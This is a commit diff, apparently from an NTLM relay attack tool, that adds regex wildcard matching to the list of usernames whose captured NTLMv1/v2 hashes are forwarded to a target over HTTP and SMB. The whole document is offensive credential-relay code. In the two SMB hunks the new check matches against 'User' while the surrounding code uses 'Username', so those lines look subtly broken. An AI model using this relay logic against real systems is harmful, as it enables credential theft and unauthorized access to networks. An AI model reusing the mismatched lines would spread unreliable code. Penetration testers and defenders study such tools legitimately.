enabled wildcard for multirelay

This commit is contained in:
taegeHis 2020-01-22 10:28:50 +01:00
commit f2f192f940

View file

@ -133,7 +133,7 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
if ('!' + User) in UserToRelay: if ('!' + User) in UserToRelay:
print "[+] Username: %s is blacklisted, dropping connection." % User print "[+] Username: %s is blacklisted, dropping connection." % User
return None, None return None, None
elif User in UserToRelay or "ALL" in UserToRelay: elif User in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
if Pivoting[0] == "1": if Pivoting[0] == "1":
return User, Domain return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User) print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
@ -165,7 +165,7 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
pass pass
else: else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: if User in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
if Pivoting[0] == "1": if Pivoting[0] == "1":
return User, Domain return User, Domain
@ -210,7 +210,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass pass
else: else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay: if Username in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
if Pivoting[0] == "1": if Pivoting[0] == "1":
return Username, Domain return Username, Domain
@ -244,7 +244,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass pass
else: else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay: if Username in UserToRelay or "ALL" in UserToRelay or [x for x in UserToRelay if re.match(x+"$",User)]:
if Pivoting[0] == "1": if Pivoting[0] == "1":
return Username, Domain return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username) print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)